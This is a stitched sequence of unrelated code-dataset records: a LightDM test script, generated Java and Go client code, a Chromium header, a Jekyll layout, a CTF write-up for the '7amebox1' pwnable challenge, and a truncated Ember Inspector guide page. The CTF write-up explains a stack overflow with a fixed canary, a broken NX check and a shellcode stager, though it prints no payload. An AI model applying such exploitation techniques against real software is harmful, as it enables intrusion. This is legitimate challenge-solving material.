present\n#\n\n[Seat:*]\nautologin-user=corrupt-xauth\nuser-session=default\n\n#?*START-DAEMON\n#?RUNNER DAEMON-START\n\n# X server starts\n#?XSERVER-0 START VT=7 SEAT=seat0\n\n# Daemon connects when X server is ready\n#?*XSERVER-0 INDICATE-READY\n#?XSERVER-0 INDICATE-READY\n#?XSERVER-0 ACCEPT-CONNECT\n\n# Session starts\n#?SESSION-X-0 START XDG_SEAT=seat0 XDG_VTNR=7 XDG_GREETER_DATA_DIR=.*/corrupt-xauth XDG_SESSION_TYPE=x11 XDG_SESSION_DESKTOP=default USER=corrupt-xauth\n#?LOGIN1 ACTIVATE-SESSION SESSION=c0\n#?XSERVER-0 ACCEPT-CONNECT\n#?SESSION-X-0 CONNECT-XSERVER\n\n# Check where the X authority is\n#?*SESSION-X-0 READ-ENV NAME=XAUTHORITY\n#?SESSION-X-0 READ-ENV NAME=XAUTHORITY VALUE=.*/home/corrupt-xauth/.Xauthority\n\n# Check has correct permissions\n#?*SESSION-X-0 CHECK-X-AUTHORITY\n#?SESSION-X-0 CHECK-X-AUTHORITY MODE=rw-------\n\n# Cleanup\n#?*STOP-DAEMON\n#?SESSION-X-0 TERMINATE SIGNAL=15\n#?XSERVER-0 TERMINATE SIGNAL=15\n#?RUNNER DAEMON-EXIT STATUS=0\n"} {"text": "package org.web3j.abi.datatypes.generated;\n\nimport java.math.BigInteger;\nimport org.web3j.abi.datatypes.Int;\n\n/**\n * Auto generated code.\n * <p><strong>Do not modifiy!</strong>\n * <p>Please use org.web3j.codegen.AbiTypesGenerator in the \n * <a href=\"https://github.com/web3j/web3j/tree/master/codegen\">codegen module</a> to update.\n */\npublic class Int104 extends Int {\n public static final Int104 DEFAULT = new Int104(BigInteger.ZERO);\n\n public Int104(BigInteger value) {\n super(104, value);\n }\n\n public Int104(long value) {\n this(BigInteger.valueOf(value));\n }\n}\n"} {"text": "// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef PPAPI_CPP_PRIVATE_FLASH_DEVICE_ID_H_\n#define PPAPI_CPP_PRIVATE_FLASH_DEVICE_ID_H_\n\n#include \"ppapi/cpp/completion_callback.h\"\n#include \"ppapi/cpp/resource.h\"\n\nnamespace pp {\nnamespace flash {\n\nclass DeviceID : public Resource {\n public:\n DeviceID();\n DeviceID(const InstanceHandle& instance);\n\n // On success, returns a string var.\n int32_t GetDeviceID(const CompletionCallbackWithOutput<Var>& callback);\n};\n\n} // namespace flash\n} // namespace pp\n\n#endif // PPAPI_CPP_PRIVATE_FLASH_DEVICE_ID_H_\n"} {"text": "/*\nCopyright The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n// Code generated by client-gen. DO NOT EDIT.\n\npackage fake\n\nimport (\n\tv1alpha1 \"k8s.io/client-go/kubernetes/typed/discovery/v1alpha1\"\n\trest \"k8s.io/client-go/rest\"\n\ttesting \"k8s.io/client-go/testing\"\n)\n\ntype FakeDiscoveryV1alpha1 struct {\n\t*testing.Fake\n}\n\nfunc (c *FakeDiscoveryV1alpha1) EndpointSlices(namespace string) v1alpha1.EndpointSliceInterface {\n\treturn &FakeEndpointSlices{c, namespace}\n}\n\n// RESTClient returns a RESTClient that is used to communicate\n// with API server by this client implementation.\nfunc (c *FakeDiscoveryV1alpha1) RESTClient() rest.Interface {\n\tvar ret *rest.RESTClient\n\treturn ret\n}\n"} {"text": "<!DOCTYPE html>\n<html>\n\n {% include head.html %}\n\n <body>\n\n {% include header.html %}\n\n <div class=\"page-content\">\n <div class=\"wrapper\">\n {{ content }}\n </div>\n </div>\n\n {% include footer.html %}\n\n <!-- JS -->\n <!-- inject:js -->\n <!-- endinject -->\n\n </body>\n\n</html>\n"} {"text": "## 7amebox1 - Pwnable Challenge\n\nThe 7amebox challenge is built on a custom VM written in Python (with\nmeaningless function names). The VM uses 7 bit bytes and three byte words with\n\"middle endian\" byte order, presumably a reference to cLEMENCy from DEFCON 24.\n\nTo start, we annotated the VM implementation to use decent names and to\nadd basic disassembly and debugging functionality. See the files in this\ndirectory for our modifications.\n\nDisassembling the program, we see a trivial stack buffer overflow with a\nhardcoded canary of 0x12345:\n\n```asm\nmain:\n 9: push bp\n b: mov bp, sp\n d: sub.t sp, #3c\n 12: mov r5, bp\n 14: sub.t r5, #3\n 19: mov r6, #12345\n 1e: st.t r6, [r5]\n 20: mov r0, #cd # \"name>\"\n 25: call writestr\n 2a: mov r1, #42\n 2f: mov r5, bp\n 31: sub.t r5, #3c\n 36: mov r0, r5\n 38: call read\n 3d: mov r0, #d3 \"bye\\n\"\n 42: call writestr\n 47: mov r5, bp\n 49: sub.t r5, #3\n 4e: ld.t r6, [r5]\n 50: cmp.t r6, #12345\n 55: jne #5\n 5a: mov sp, bp\n 5c: pop bp\n 5e: ret\n```\n\nThe VM has no memory protections. Even though it appears to have a\nconfiguration option to NX (which was disabled on this challenge), the\npermission check is wrong:\n\n```python\ndef check_permission(self, addr, perm):\n if self.get_perm(addr) & (PERM_MAPPED | perm):\n return True\n else:\n return False\n```\n\nThe exploit overwrites the return address to point into the stack buffer. Our\nflag reading shellcode didn't quite fit, so we used a stager to read larger\nshellcode to the bottom of the stack.\n\nUnfortunately, the time we spent adding debugging functionality was a waste as\nwe did not have enough time to exploit the rather convoluted bug in the second\nchallenge using this VM.\n"} {"text": "<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n\n \n<meta name=\"ember-guides/config/environment\" content=\"%7B%22modulePrefix%22%3A%22ember-guides%22%2C%22environment%22%3A%22production%22%2C%22rootURL%22%3A%22%2F%22%2C%22locationType%22%3A%22trailing-history%22%2C%22historySupportMiddleware%22%3Atrue%2C%22EmberENV%22%3A%7B%22FEATURES%22%3A%7B%7D%2C%22EXTEND_PROTOTYPES%22%3A%7B%22Date%22%3Afalse%7D%2C%22_APPLICATION_TEMPLATE_WRAPPER%22%3Afalse%2C%22_DEFAULT_ASYNC_OBSERVERS%22%3Atrue%2C%22_JQUERY_INTEGRATION%22%3Afalse%2C%22_TEMPLATE_ONLY_GLIMMER_COMPONENTS%22%3Atrue%7D%2C%22APP%22%3A%7B%22name%22%3A%22ember-guides%22%2C%22version%22%3A%223.7.0%2Ba7598d50%22%7D%2C%22ember-meta%22%3A%7B%22description%22%3A%22Ember.js%20helps%20developers%20be%20more%20productive%20out%20of%20the%20box.%20Designed%20with%20developer%20ergonomics%20in%20mind%2C%20its%20friendly%20APIs%20help%20you%20get%20your%20job%20done%E2%80%94fast.%22%7D%2C%22guidemaker%22%3A%7B%22title%22%3A%22Ember%20Guides%22%2C%22sourceRepo%22%3A%22https%3A%2F%2Fgithub.com%2Fember-learn%2Fguides-source%22%7D%2C%22algolia%22%3A%7B%22algoliaId%22%3A%22Y1OMR4C7MF%22%2C%22algoliaKey%22%3A%225d01c83734dc36754d9e94cbf6f8964d%22%2C%22indexName%22%3A%22ember-guides%22%7D%2C%22showdown%22%3A%7B%22ghCompatibleHeaderId%22%3Atrue%2C%22prefixHeaderId%22%3A%22toc_%22%7D%2C%22deprecationsGuideURL%22%3A%22https%3A%2F%2Fwww.emberjs.com%2Fdeprecations%2F%22%2C%22metricsAdapters%22%3A%5B%7B%22name%22%3A%22GoogleAnalytics%22%2C%22environments%22%3A%5B%22production%22%5D%2C%22config%22%3A%7B%22id%22%3A%22UA-27675533-1%22%2C%22require%22%3A%5B%22linkid%22%5D%7D%7D%5D%2C%22infoBanner%22%3A%7B%22content%22%3A%22Ember%20Octane%20is%20here!%20A%20lot%20has%20changed%20since%20Ember%203.14%2C%20including%20these%20Guides.%20Read%20more%20in%20the%20%3Ca%20href%3D%5C%22https%3A%2F%2Fblog.emberjs.com%2F2019%2F12%2F20%2Foctane-is-here.html%5C%22%3EEmber%20Blog%3C%2Fa%3E.%22%7D%2C%22exportApplicationGlobal%22%3Afalse%2C%22fastboot%22%3A%7B%22hostWhitelist%22%3A%5B%7B%7D%5D%7D%2C%22ember-collapsible-panel%22%3A%7B%7D%7D\" />\n<!-- EMBER_CLI_FASTBOOT_TITLE --> <meta name=\"ember-cli-head-start\" content> <title>Library Info - Ember Inspector - Ember Guides</title>\n\n <meta name=\"description\" content=\"To see a list of libraries used in your application, click on the Info menu. This view displays the libraries used, along with their version. \n\n Registering a Library \n\nIf you would like to add your own application or library to the list, you can register...\">\n\n<meta name=\"referrer\" content=\"unsafe-url\">\n\n<!---->\n<!---->\n<!---->\n<!---->\n <meta property=\"og:title\" content=\"Library Info - Ember Inspector - Ember Guides\">\n\n<!---->\n <meta property=\"og:description\" content=\"To see a list of libraries used in your application, click on the Info menu. This view displays the libraries used, along with their version. \n\n Registering a Library \n\nIf you would like to add your own application or library to the list, you can register...\">\n\n <meta property=\"og:type\" content=\"website\">\n\n<!---->\n<meta name=\"twitter:card\" content=\"summary\">\n\n<!---->\n<!---->\n <meta name=\"twitter:title\" content=\"Library Info - Ember Inspector - Ember Guides\">\n\n<!---->\n <meta name=\"twitter:description\" content=\"To see a list of libraries used in your application, click on the Info menu. This view displays the libraries used, along with their version. \n\n Registering a Library \n\nIf you would like to add your own application or library to the list, you can register...\">\n\n<!---->\n<!---->\n<!----><meta name=\"ember-cli-head-end\" content>\n\n\n <link integrity=\"\" rel=\"stylesheet\" href=\"/assets/vendor-c5cdfdb224e40208d070a18942b32fd3.css\">\n <link integrity=\"\" rel=\"stylesheet\" href=\"/assets/ember-guides-92dca9f7555a994d11fd3e94376c4753.css\">\n <link rel=\"shortcut icon\" href=\"/images/favicon.png\" />\n\n \n </head>\n <body class=\"application version show version-show\">\n <script type=\"x/boundary\" id=\"fastboot-body-start\"></script><!---->\n\n<header id=\"ember315361\" class=\"es-header ember-view\" role=\"banner\"><div id=\"ember315362\" class=\"ember-view\"><div class=\"container\">\n<nav id=\"ember315363\" class=\"navbar navbar-inverse navbar-expand-lg bg-inverse ember-view\"> <a class=\"navbar-brand\" href=\"https://www.emberjs.com\">\n <svg width=\"94\" height=\"37\" viewBox=\"0 0 259 100\" xmlns=\"http://www.w3.org/2000/svg\"><title>Ember Logo 1c White</title><g fill=\"#FFF\" fill-rule=\"evenodd\"><path d=\"M253.97 68.576s-6.28 4.872-11.807 4.328c-5.528-.544-3.792-12.896-3.792-12.896s1.192-11.328-2.064-12.28c-3.248-.944-7.256 2.952-7.256 2.952s-4.984 5.528-7.368 12.576l-.656.216s.76-12.36-.104-15.176c-.648-1.408-6.608-1.296-7.584 1.192-.976 2.496-5.744 19.832-6.072 27.096 0 0-9.32 7.912-17.44 9.208-8.128 1.304-10.08-3.792-10.08-3.792s22.104-6.176 21.344-23.84c-.752-17.664-17.824-11.128-19.752-9.68-1.872 1.408-11.848 7.424-14.76 24.088-.096.56-.272 3.04-.272 3.04s-8.56 5.736-13.328 7.256c0 0 13.328-22.432-2.92-32.616-4.574-2.753-8.56-.216-10.929 2.11-1.451 1.425 19.705-21.718 14.825-42.422C151.635.08 146.707-.976 142.187.624c-6.864 2.704-9.464 6.712-9.464 6.712s-8.888 12.896-10.952 32.08c-2.056 19.176-5.088 42.368-5.088 42.368s-4.232 4.12-8.128 4.336c-3.904.208-2.168-11.6-2.168-11.6s3.032-17.984 2.824-21.024c-.224-3.032-.44-4.656-4.016-5.736-3.576-1.088-7.48 3.464-7.48 3.464s-10.288 15.6-11.152 17.984l-.552.984-.536-.656s7.256-21.24.328-21.56c-6.936-.328-11.488 7.584-11.488 7.584s-7.912 13.224-8.24 14.736l-.536-.648s3.248-15.384 2.6-19.184c-.656-3.792-4.224-3.032-4.224-3.032s-4.552-.544-5.744 2.384c-1.192 2.928-5.528 22.32-6.072 28.496 0 0-11.376 8.128-18.856 8.232-7.472.112-6.712-4.736-6.712-4.736s27.416-9.384 19.936-27.912c-3.36-4.768-7.256-6.264-12.784-6.16-5.528.112-12.384 3.48-16.824 13.448-2.128 4.752-2.896 9.272-3.336 12.68 0 0-4.792.984-7.392-1.184-2.608-2.168-3.944 0-3.944 0s-4.464 5.696-.024 7.424c4.448 1.736 11.376 2.544 11.376 2.544.64 3.032 2.488 8.192 7.904 12.296 8.128 6.176 23.72-.568 23.72-.568l6.392-3.584s.216 5.864 4.88 6.72c4.656.856 6.608-.016 14.736-19.736 4.768-10.08 5.096-9.536 5.096-9.536.536-.112-3.144 19.176-1.736 24.376 1.408 5.208 7.584 4.664 7.584 4.664s3.36.648 6.072-8.888c2.704-9.536 7.912-20.048 7.912-20.048.64 0-1.632 19.72 1.832 26.008 3.472 6.288 12.464 2.112 12.464 2.112s6.288-3.168 7.264-4.144c0 0 7.456 6.352 17.976 5.2 23.52-4.632 31.888-10.888 31.888-10.888s4.04 10.24 16.56 11.192c14.296 1.08 22.104-7.912 22.104-7.912s-.112 5.848 4.872 7.912c4.992 2.056 8.344-9.52 8.344-9.52l8.344-22.992c.76 0 1.192 14.952 9.432 17.336 8.232 2.384 18.96-5.584 18.96-5.584s2.6-1.432 2.168-5.768c-.44-4.336-4.336-2.72-4.336-2.72zM36.93 57.728c2.92 2.816 1.84 8.88-3.687 12.672-5.52 3.8-8.016 3.04-8.016 3.04.328-12.896 8.784-18.536 11.704-15.712zm107.817-44.536c1.84 9.752-16.144 38.792-16.144 38.792.216-6.504 6.608-28.496 6.608-28.496s7.688-20.048 9.536-10.296zM126.97 87.2s-1.408-4.768 2.6-18.096c4.016-13.328 13.44-8.128 13.44-8.128s6.504 4.984 1.408 18.312C139.33 92.616 126.97 87.2 126.97 87.2zm54.832-26.112c4.44-8.128 7.912-3.688 7.912-3.688s3.792 4.12-.544 10.296c-4.336 6.176-10.616 5.744-10.616 5.744s-1.192-4.232 3.248-12.352z\"/><path d=\"M226.028 93.977v-1.555h.986c.137 0 .274.015.418.03.144.02.28.057.396.107.122.05.216.122.288.216.079.094.115.223.115.382 0 .36-.108.59-.324.684-.216.093-.497.136-.835.136h-1.044zm-1.174-2.47v5.92h1.174v-2.528h.734l1.44 2.527h1.231l-1.584-2.585a2.8 2.8 0 0 0 .612-.13c.187-.064.353-.158.49-.28.144-.122.252-.28.331-.475.086-.195.122-.425.122-.699 0-.64-.201-1.094-.597-1.353-.403-.267-.98-.396-1.72-.396h-2.233zm-1.88 2.967c0-.605.102-1.159.31-1.663.21-.504.49-.936.85-1.303a3.853 3.853 0 0 1 1.26-.864 3.93 3.93 0 0 1 1.562-.31c.548 0 1.066.101 1.548.31.49.209.908.497 1.268.864s.64.8.856 1.303c.21.504.317 1.058.317 1.663s-.108 1.16-.317 1.67c-.216.505-.496.951-.856 1.318-.36.375-.778.663-1.268.871-.482.21-1 .31-1.548.31a3.93 3.93 0 0 1-1.562-.31 3.765 3.765 0 0 1-1.26-.87 4.109 4.109 0 0 1-.85-1.318 4.366 4.366 0 0 1-.31-1.67zm-1.446 0c0 .814.15 1.541.446 2.19.302.654.698 1.209 1.195 1.67.504.46 1.08.813 1.735 1.058.656.245 1.34.367 2.052.367.72 0 1.404-.122 2.06-.367a5.282 5.282 0 0 0 1.735-1.059 5.234 5.234 0 0 0 1.195-1.67c.295-.648.44-1.375.44-2.189 0-.799-.145-1.526-.44-2.174a5.125 5.125 0 0 0-2.93-2.722 5.675 5.675 0 0 0-2.06-.374c-.712 0-1.396.122-2.052.374a5.125 5.125 0 0 0-2.93 2.722c-.295.648-.446 1.375-.446 2.174z\"/></g></svg>\n </a>\n <button id=\"ember315364\" class=\"navbar-toggler collapsed ember-view\"> <span class=\"navbar-toggler-icon\"></span>\n</button>\n<div id=\"ember315365\" class=\"navbar-collapse collapse ember-view\"><ul id=\"ember315366\" class=\"mr-auto nav navbar-nav ember-view\"><!----><li id=\"ember315367\" class=\"dropdown nav-item ember-view\"> <a href=\"#\" id=\"ember315368\" class=\"dropdown-toggle nav-link ember-view\" role=\"button\">Docs <span class=\"caret\"></span></a>\n<!---->\n</li>\n<!----><li id=\"ember315370\" class=\"dropdown nav-item ember-view\"> <a href=\"#\" id=\"ember315371\" class=\"dropdown-toggle nav-link ember-view\" role=\"button\">Releases <span class=\"caret\"></span></a>\n<!---->\n</li>\n<li id=\"ember315373\" class=\"nav-item ember-view\"> <a href=\"https://emberjs.com/blog\" class=\"nav-link\">Blog</a>\n\n</li><!---->\n<!----><li id=\"ember315374\" class=\"dropdown nav-item ember-view\"> <a href=\"#\" id=\"ember315375\" class=\"dropdown-toggle nav-link ember-view\" role=\"button\">Community <span class=\"caret\"></span></a>\n<!---->\n</li>\n<!----><li id=\"ember315377\" class=\"dropdown nav-item ember-view\"> <a href=\"#\" id=\"ember315378\" class=\"dropdown-toggle nav-link ember-view\" role=\"button\">About <span class=\"caret\"></span></a>\n<!---->\n</li>\n\n</ul><ul id=\"ember315380\" class=\"nav navbar-nav ember-view\"> <form>\n <div id=\"ember315381\" class=\"search-input ember-view\"> <input id=\"search-input\" placeholder=\"Search the guides\" autocomplete=\"off\" type=\"search\">\n\n<div id=\"ember315382\" class=\"ds-dropdown-results ember-tether ember-view\"><!----></div></div>\n </form>\n\n\n</ul>\n</div>\n</nav></div>\n\n</div>\n\n</header>\n<!---->\n <div class=\"info-banner-wrapper\">\n <div class=\"info-banner-container\">\n <div id=\"ember315383\" class=\"ember-view\"><p>Ember Octane is here! A lot has changed since Ember 3.14, including these Guides. Read more in the <a href=\"https://blog.emberjs.com/2019/12/20/octane-is-here.html\">Ember Blog</a>.</p>\n</div>\n </div>\n </div>\n\n\n<main class=\"container\">\n <aside class=\"sidebar\">\n <label for=\"version-select\" class=\"visually-hidden\">Guides version</label>\n\n<div id=\"ember315384\" class=\"ember-basic-dropdown ember-view\">\n<div aria-label=\"v3.0.0\" aria-owns=\"ember-basic-dropdown-content-ember315384\" tabindex=\"0\" data-ebd-id=\"ember315384-trigger\" role=\"button\" id=\"ember315385\" class=\"ember-power-select-trigger ember-basic-dropdown-trigger ember-basic-dropdown-trigger--in-place ember-view\"> <span class=\"ember-power-select-selected-item\"> 3.0 <!---->\n\n</span>\n<!----><span class=\"ember-power-select-status-icon\"></span>\n</div>\n <div id=\"ember-basic-dropdown-content-ember315384\" class=\"ember-basic-dropdown-content-placeholder\" style=\"display: none;\"></div>\n\n</div>\n\n <input id=\"toc-toggle\" class=\"toc-toggle visually-hidden\" type=\"checkbox\">\n <label for=\"toc-toggle\">Table of Contents <span class=\"visually-hidden\">toggle</span></label>\n\n <nav class=\"toc-container versions\" aria-label=\"table of contents\">\n <ol id=\"ember315389\" class=\"toc-level-0 ember-view\"><!----> <li class=\"toc-group toc-level-0\">\n<div id=\"ember315392\" class=\"cp-Panel cp-is-closed ember-view\"><a href=\"/v3.0.0/getting-started\" id=\"ember315393\" class=\"cp-Panel-toggle ember-view\"> Getting Started\n</a>\n<div id=\"ember315394\" class=\"cp-Panel-body ember-view\">\n<!---->\n</div>\n</div> </li>\n <li class=\"toc-group toc-level-0\">\n<div id=\"ember315396\" class=\"cp-Panel cp-is-closed ember-view\"><a href=\"/v3.0.0/tutorial\" id=\"ember315397\" class=\"cp-Panel-toggle ember-view\"> Tutorial\n</a>\n<div id=\"ember315398\" class=\"cp-Panel-body ember-view\">\n<!---->\n</div>\n</div> </li>\n <li class=\"toc-group toc-level-0\">\n<div id=\"ember315400\" class=\"cp-Panel cp-is-closed ember-view\"><a href=\"/v3.0.0/object-model\" id=\"ember315401\" class=\"cp-Panel-toggle ember-view\"> The Object Model\n</a>\n<div id=\"ember315402\" class=\"cp-Panel-body ember-view\">\n<!---->\n</div>\n</div> </li>\n <li class=\"toc-group toc-level-0\">\n<div id=\"ember315404\" class=\"cp-Panel cp-is-closed ember-view\"><a href=\"/v3.0.0/routing\" id=\"ember315405\" class=\"cp-Panel-toggle ember-view\"> Routing\n</a>\n<div id=\"ember315406\" class=\"cp-Panel-body ember-view\">\n<!---->\n</div>\n</div> </li>\n <li class=\"toc-group toc-level-0\">\n<div id=\"ember315408\" class=\"cp-Panel cp-is-closed ember-view\"><a href=\"/v3.0.0/templates\" id=\"ember315409\" class=\"cp-Panel-toggle ember-view\"> Templates\n</a>\n<div id=\"ember315410\" class=\"cp-Panel-body ember-view\">\n<!---->\n</div>\n</div> </li>\n <li class=\"toc-group toc-level-0\">\n<div id=\"ember315412\" class=\"cp-Panel cp-is-closed ember-view\"><a href=\"/v3.0.0/components\" id=\"ember315413\" class=\"cp-Panel-toggle ember-view\"> Components\n</a>\n<div id=\"ember315414\" class=\"cp-Panel-body ember-view\">\n<!---->\n</div>\n</div> </li>\n <li class=\"toc-group toc-level-0\">\n<div id=\"ember315416\" class=\"cp-Panel cp-is-closed ember-view\"><a href=\"/v3.0.0/controllers\" id=\"ember315417\" class=\"cp-Panel-toggle ember-view\"> Controllers\n</a>\n<div id=\"ember315418\" class=\"cp-Panel-body ember-view\">\n<!---->\n</div>\n</div> </li>\n <li class=\"toc-group toc-level-0\">\n<div id=\"ember315420\" class=\"cp-Panel cp-is-closed ember-view\"><a href=\"/v3.0.0/models\" id=\"ember315421\" class=\"cp-Panel-toggle ember-view\"> Models\n</a>\n<div id=\"ember315422\" class=\"cp-Panel-body ember-view\">\n<!---->\n</div>\n</div> </li>\n <li class=\"toc-group toc-level-0\">\n<div id=\"ember315424\" class=\"cp-Panel cp-is-closed ember-view\"><a href=\"/v3.0.0/applications\" id=\"ember315425\" class=\"cp-Panel-toggle ember-view\"> Application Concerns\n</a>\n<div id=\"ember315426\" class=\"cp-Panel-body ember-view\">\n<!---->\n</div>\n</div> </li>\n <li class=\"toc-group toc-level-0\">\n<div id=\"ember315428\" class=\"cp-Panel cp-is-closed ember-view\"><a href=\"/v3.0.0/testing\" id=\"ember315429\" class=\"cp-Panel-toggle ember-view\"> Testing\n</a>\n<div id=\"ember315430\" class=\"cp-Panel-body ember-view\">\n<!---->\n</div>\n</div> </li>\n <li class=\"toc-group toc-level-0\">\n<div id=\"ember315432\" class=\"cp-Panel cp-is-open ember-view\"><a href=\"/v3.0.0/ember-inspector\" id=\"ember315433\" class=\"cp-Panel-toggle ember-view\"> Ember Inspector\n</a>\n<div id=\"ember315434\" class=\"cp-Panel-body cp-is-open ember-view\">\n <div class=\"cp-Panel-body-inner\">\n <ol id=\"ember315435\" class=\"toc-level-1 ember-view\"> <li class=\"toc-link toc-level-1 \">\n<a href=\"/v3.0.0/ember-inspector/index\" id=\"ember315437\" class=\"ember-view\"> Introduction\n</a> </li>\n <li class=\"toc-link toc-level-1 \">\n<a href=\"/v3.0.0/ember-inspector/installation\" id=\"ember315439\" class=\"ember-view\"> Installing the Inspector\n</a> </li>\n <li class=\"toc-link toc-level-1 \">\n<a href=\"/v3.0.0/ember-inspector/object-inspector\" id=\"ember315441\" class=\"ember-view\"> Object Inspector\n</a> </li>\n <li class=\"toc-link toc-level-1 \">\n<a href=\"/v3.0.0/ember-inspector/view-tree\" id=\"ember315443\" class=\"ember-view\"> The View Tree\n</a> </li>\n <li class=\"toc-link toc-level-1 \">\n<a href=\"/v3.0.0/ember-inspector/routes\" id=\"ember315445\" class=\"ember-view\"> Inspecting Routes\n</a> </li>\n <li class=\"toc-link toc-level-1 \">\n<a href=\"/v3.0.0/ember-inspector/data\" id=\"ember315447\" class=\"ember-view\"> Data Tab\n</a> </li>\n <li class=\"toc-link toc-level-1 \">\n<a href=\"/v3.0.0/ember-inspector/deprecations\" id=\"ember315449\" class=\"ember-view\"> Tackling Deprecations\n</a> </li>\n <li class=\"toc-link toc-level-1 selected\">\n<a href=\"/v3.0.0/ember-inspector/info\" id=\"ember315451\" class=\"selected ember-view\"> Library Info\n</a> </li>\n <li class=\"toc-link toc-level-1 \">\n<a href=\"/v3.0.0/ember-inspector/promises\" id=\"ember315453\" class=\"ember-view\"> Debugging Promises\n</a> </li>\n <li class=\"toc-link toc-level-1 \">\n<a href=\"/v3.0.0/ember-inspector/container\" id=\"ember315455\" class=\"ember-view\"> Inspecting Objects via the Container\n</a> </li>\n <li class=\"toc-link toc-level-1 \">\n<a href=\"/v3.0.0/ember-inspector/render-performance\" id=\"ember315457\" class=\"ember-view\"> Rendering Performance\n</a> </li>\n <li class=\"toc-link toc-level-1 \">\n<a href=\"/v3.0.0/ember-inspector/troubleshooting\" id=\"ember315459\" class=\"ember-view\"> Troubleshooting\n</a> </li>\n </ol>\n\n </div>\n\n</div>\n</div> </li>\n <li class=\"toc-group toc-level-0\">\n<div id=\"ember315461\" class=\"cp-Panel cp-is-closed ember-view\"><a href=\"/v3.0.0/addons-and-dependencies\" id=\"ember315462\" class=\"cp-Panel-toggle ember-view\"> Addons and Dependencies\n</a>\n<div id=\"ember315463\" class=\"cp-Panel-body ember-view\">\n<!---->\n</div>\n</div> </li>\n <li class=\"toc-group toc-level-0\">\n<div id=\"ember315465\" class=\"cp-Panel cp-is-closed ember-view\"><a href=\"/v3.0.0/configuring-ember\" id=\"ember315466\" class=\"cp-Panel-toggle ember-view\"> Configuring Ember.js\n</a>\n<div id=\"ember315467\" class=\"cp-Panel-body ember-view\">\n<!---->\n</div>\n</div> </li>\n <li class=\"toc-group toc-level-0\">\n<div id=\"ember315469\" class=\"cp-Panel cp-is-closed ember-view\"><a href=\"/v3.0.0/contributing\" id=\"ember315470\" class=\"cp-Panel-toggle ember-view\"> Contributing to Ember.js\n</a>\n<div id=\"ember315471\" class=\"cp-Panel-body ember-view\">\n<!---->\n</div>\n</div> </li>\n <li class=\"toc-group toc-level-0\">\n<div id=\"ember315473\" class=\"cp-Panel cp-is-closed ember-view\"><a href=\"/v3.0.0/glossary\" id=\"ember315474\" class=\"cp-Panel-toggle ember-view\"> Glossary\n</a>\n<div id=\"ember315475\" class=\"cp-Panel-body ember-view\">\n<!---->\n</div>\n</div> </li>\n</ol>\n </nav>\n\n</aside>\n\n<article id=\"ember315476\" class=\"chapter ember-view\"> <div class=\"old-version-warning\">\n <i class=\"icon-attention-circled\"></i><strong>Old Guides - </strong>You are viewing the guides for Ember v3.0.0.\n\n <a href=\"/release/ember-inspector/info\" id=\"ember315477\" class=\"btn ember-view\"> VIEW v3.15.0 </a>\n </div>\n\n <a href=\"https://github.com/ember-learn/guides-source/edit/master/guides/v3.0.0/ember-inspector/info.md\" target=\"_blank\" class=\"edit-page icon-pencil\" rel=\"noopener\">\n Edit Page\n </a>\n\n<h1>\n Library Info\n</h1>\n<hr>\n\n<div id=\"ember315478\" class=\"ember-view\"><p>To see a list of libraries used in your application, click on the <code>Info</code> menu. This view displays the libraries used, along with their version.</p>\n<p><img src=\"/images/guides/ember-inspector/info-screenshot.png\" width=\"680\"/></p>\n<h3 id=\"toc_registering-a-library\">Registering a Library</h3>\n<section aria-labelledby=\"toc_registering-a-library\">\n<p>If you would like to add your own application or library to the list, you can register it using:</p>\n<pre><code class=\"javascript language-javascript\">Ember.libraries.register(libraryName, libraryVersion);\n</code></pre>\n</section>\n<h4 id=\"toc_ember-cli\">Ember CLI</h4>\n<section aria-labelledby=\"toc_ember-cli\">\n<p>If you're using the <a href=\"https://github.com/embersherpa/ember-cli-app-version\">ember-cli-app-version</a> addon, your application's name and version will be added to the list automatically.</p>\n</section>\n</div>\n\n<footer id=\"ember315479\" class=\"ember-view\"> <a href=\"/v3.0.0/ember-inspector/deprecations\" id=\"ember315480\" class=\"previous-guide ember-view\">Tackling Deprecations</a>\n\n<a href=\"/v3.0.0/ember-inspector/promises\" id=\"ember315481\" class=\"next-guide ember-view\"> Debugging Promises\n </a></footer>\n</article>\n\n\n</main>\n\n<footer id=\"ember315482\" class=\"es-footer ember-view\" role=\"contentinfo\"><div class=\"footer responsive\">\n <div class=\"container\">\n\n \n\n\n <div id=\"ember315483\" class=\"footer-info ember-view\">\nCopyright 2020\n <a href=\"http://tilde.io\">Tilde Inc.</a>\n <br>\n <a href=\"https://emberjs.com/team\">Team</a>\n |\n <a href=\"https://emberjs.com/sponsors\">Sponsors</a>\n <br>\n <a href=\"https://emberjs.com/security\">Security</a>\n |\n <a href=\"https://emberjs.com/legal\">Legal</a>\n |\n <a href=\"https://emberjs.com/brand\">Brand</a>\n <br>\n <a href=\"https://emberjs.com/guidelines\">Community Guidelines</a>\n<!----></div>\n <div id=\"ember315484\" class=\"footer-statement ember-view\">\n <p class=\"footer-tagline\">Ember.js is free, open source and always will be.</p>\n <div class=\"footer-social\">\n <a href=\"http://twitter.com/emberjs\" title=\"Twitter\">\n <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 1000 1000\"><path d=\"M939.5 227.941q-37 54-90 93v23q0 73-21 145t-64 139q-43 67-103 117t-144 82q-84 32-181 30-151 0-276-81 19 2 43 2 126 0 224-77-59-1-105-36t-64-89q19 3 34 3 24 0 48-6-63-13-104-62t-41-115v-2q38 21 82 23-37-25-59-64t-22-86q0-49 25-91 68 83 164 133t208 55q-5-21-5-41 0-75 53-127t127-53q79 0 132 57 61-12 115-44-21 64-80 100 52-6 104-28z\"/></svg>\n </a>\n <a href=\"https://github.com/emberjs/ember.js\" title=\"GitHub\">\n <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 1000 1000\"><path d=\"M392 643q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm357 0q0 22-7 45t-24 43q-17 20-40 